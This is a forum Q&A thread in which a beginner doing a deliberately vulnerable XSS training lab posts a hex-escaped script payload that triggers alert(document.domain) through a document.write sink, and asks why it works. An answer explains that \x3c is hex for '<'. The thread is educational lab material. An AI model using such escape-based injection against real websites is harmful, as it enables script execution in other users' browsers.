XSS related question , browser rendering

Question

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I am beginner to xss and solving the lab XSS by Yamagata ( Stage 15)

The lab contains the search box where we have to enter the input .

The code related to it is :

HTML

document.write: <input type="text" name="p1" size="60" value="hogehoge"> 
<input type="submit" value="reflect">
<pre><script>document.write("hogehoge");</script>

What I have tried:

So , I entered the below input :

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

The response I got is :

HTML

<pre>document.write: 

<input type="text" name="p1" size="60" value="\x3cscript\x3ealert(document.domain);\x3c/script\x3e"> 
<input type="submit" value="reflect">
<hr class=red>
<pre><script>document.write("\x3cscript\x3ealert(document.domain);\x3c/script\x3e");</script>

and I got the alert box which contains document.domain information in UI ?

But why do I get it ?
Does browser renders x3c as < ?

Posted 21-Jul-24 0:32am

mee234234

Updated 22-Jul-24 5:55am

Andre Oosthuizen

v2

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Comments

Dave Kreskowiak 21-Jul-24 12:36pm

Quote: the lab XSS by Yamagata ( Stage 15)

You say that like everyone should know what you're talking about. I've never heard of it and have no idea what this "challenge" says or asks.

Dave Kreskowiak 23-Jul-24 8:47am

And you get a free kick in the ass for being a worthless spammer.

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Pete O'Hanlon · Accepted Answer · 2024-07-21T21:40:00

Solution 1

So, with a little bit of knowledge that you are looking at Cross Site Scripting (XSS), I did a quick look up in an ASCII table which does have 3c as <. The x at the start of the number indicates that this is a hex number.

Posted 21-Jul-24 21:40pm

Pete O'Hanlon